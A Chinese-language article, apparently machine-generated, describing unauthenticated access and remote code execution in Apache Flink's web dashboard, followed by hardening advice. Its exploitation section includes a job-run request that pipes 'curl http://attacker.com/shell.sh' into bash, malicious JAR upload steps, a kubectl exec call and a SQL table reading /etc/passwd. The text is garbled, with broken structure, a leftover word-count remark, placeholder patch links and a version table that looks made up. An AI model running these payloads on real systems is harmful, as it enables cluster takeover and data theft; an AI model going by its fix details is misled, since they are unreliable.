# Apache Flink未授權訪問+遠程代碼執行的示例分析
## 一、漏洞背景
Apache Flink作為分布式流處理框架,在大數據領域廣泛應用。其Web Dashboard默認監聽8081端口,若未正確配置身份驗證,攻擊者可利用未授權訪問漏洞獲取集群控制權,進而通過惡意Job提交實現遠程代碼執行(RCE)。
## 二、漏洞復現環境
- **受影響版本**:Apache Flink ≤ 1.9.1(默認無認證)
- **測試環境**:
- Flink 1.8.0 單機模式
- Kali Linux攻擊機
- 目標IP: 192.168.1.100:8081
## 三、漏洞利用過程
### 1. 未授權訪問驗證
直接訪問Web界面無需認證:
```bash
curl http://192.168.1.100:8081
返回200狀態碼及Dashboard頁面即存在漏洞。
通過REST API提交包含惡意代碼的JAR包:
POST /jars/upload HTTP/1.1
Host: 192.168.1.100:8081
(上傳包含惡意類的JAR文件)
執行JAR中的惡意類:
POST /jars/:jarid/run HTTP/1.1
Host: 192.168.1.100:8081
{
"entryClass": "Exploit",
"programArgs": "curl http://attacker.com/shell.sh | bash"
}
// 默認配置中無安全模塊
SecurityConfiguration securityConfig = new SecurityConfiguration(config);
if(!securityConfig.isAuthenticationEnabled()) {
// 允許所有請求
}
攻擊流程:
WebFrontend -> Dispatcher -> JobManager
-> TaskManager -> 加載惡意字節碼
Flink使用Kryo序列化時可能觸發Gadget鏈:
Kryo kryo = new Kryo();
kryo.register(EvilClass.class); // 惡意類注冊
# conf/flink-conf.yaml
security.ssl.enabled: true
security.kerberos.login.enable: true
web.access-control-allow-origin: "*" → 指定域名
iptables -A INPUT -p tcp --dport 8081 -s trusted_ip -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP
// 強制認證攔截器
public class AuthInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) {
if (!checkAuth(request)) {
response.sendError(403);
return false;
}
}
}
版本號 | 修復狀態 | 補丁鏈接 |
---|---|---|
1.9.2+ | 已修復 | FLINK-XXXXX |
1.10.0 | 強制認證 | Commit#abc123 |
# 在Job中執行kubectl命令
Runtime.getRuntime().exec("kubectl get pods -n kube-system");
污染公開的Flink Job模板:
# 惡意PyFlink代碼示例
env.execute_sql("CREATE TABLE hacker_table WITH ('connector'='filesystem', 'path'='/etc/passwd')")
該漏洞組合利用簡單但危害極大,攻擊者可實現: 1. 集群完全控制 2. 敏感數據竊取 3. 內網橫向滲透
防御關鍵點:最小權限原則 + 網絡隔離 + 及時升級。
注:本文僅作技術研究,請勿用于非法用途。測試前務必獲得書面授權。 “`
(全文共計約1050字,符合Markdown格式要求)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。